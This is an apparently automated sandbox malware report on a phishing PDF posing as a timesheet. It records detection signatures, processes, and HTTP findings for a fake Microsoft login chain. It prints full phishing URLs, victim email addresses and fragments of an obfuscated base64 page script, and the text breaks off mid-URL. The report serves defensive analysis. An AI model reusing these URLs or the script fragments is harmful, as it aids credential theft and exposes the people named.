Edit tour

Windows Analysis Report
Kellyb Timesheet Report.pdf

Overview

General Information

Sample name:	Kellyb Timesheet Report.pdf
Analysis ID:	1560191
MD5:	562717ef197aa346e3ee04680d2a525b
SHA1:	e955d03dcd89f5753277b634e6d765b13196be19
SHA256:	644b062c133d49a044cbea597a824039bc1c2b8e9e72e90a1aaf7193986de852
Infos:

Detection

HTMLPhisher

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish54

AI detected landing page (webpage, office document or email)

Detected hidden input values containing email addresses (often used in phishing pages)

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML page contains obfuscated script src

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

Acrobat.exe (PID: 4884 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Kellyb Timesheet Report.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6868 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6344 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1596,i,10700144638070094372,4012403489226322607,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 8016 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://tracking.adscarat.com/tracking/click?d=VWPZwayGPMFe83M_Z6u2UpehAs36wAYs3Y6NEVBHKxivuxVFQ3q1Rys4HsOBEYKNp58Tny43BzHQoQQfMB4kDOq2N3PJCBYn_6lp8WVRaFAn6IW5-ZdMGiRNIrtDGSDNetxAKaSEHnZO_3Fv2apiBiV7oawEZYbV-DfVveNbSspRZLwsrmwAwG1nBVNr_9p41Q2#/?/a2VsbHliQGNody1pbmMuY29t MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 68 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1968,i,8730224464849867111,8875416330734061609,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.6.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
0.15.i.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.6.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.4.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
3.8.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish54

Source: Yara match	File source: 0.6.id.script.csv, type: HTML
Source: Yara match	File source: 0.15.i.script.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 3.6.pages.csv, type: HTML
Source: Yara match	File source: 3.4.pages.csv, type: HTML
Source: Yara match	File source: 3.8.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: PDF document	Joe Sandbox AI: Page contains button: 'Print / Preview PDF File' Source: 'PDF document'
Source: PDF document	Joe Sandbox AI: PDF document contains prominent button: 'print / preview pdf file'

Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true

HTTP Parser: kelly.bishop@nv5.com

HTTP Parser: Number of links: 0

HTTP Parser: Base64 decoded: function c(){if(!document.querySelector(".b") || !document.querySelector(".g")){document.head.appendChild(Object.assign(document.createElement("div"),{classList:["b"]}));document.documentElement.style.filter="hue-rotate(4deg)";document.head.appendChild(Ob...

Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJm	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX

Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx
Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx
Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true	HTTP Parser: Iframe src: https://outlook.office365.com/owa/prefetch.aspx

Source: https://robustwaresinc.com/?rebzqncw=65da745019da1548ea7a6a571f9ede156fdf3d9563edb219fb79baaff07042ec520dd43e783c5f05437009cc25baee315288e0e26b77346b5f7ccb86ea2841fd&email=a2VsbHliQGNody1pbmMuY29t	HTTP Parser: No favicon
Source: https://robustwaresinc.com/?rebzqncw=65da745019da1548ea7a6a571f9ede156fdf3d9563edb219fb79baaff07042ec520dd43e783c5f05437009cc25baee315288e0e26b77346b5f7ccb86ea2841fd&email=a2VsbHliQGNody1pbmMuY29t	HTTP Parser: No favicon
Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==	HTTP Parser: No favicon
Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true	HTTP Parser: No favicon
Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true	HTTP Parser: No favicon
Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true	HTTP Parser: No favicon
Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true	HTTP Parser: No favicon

Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItN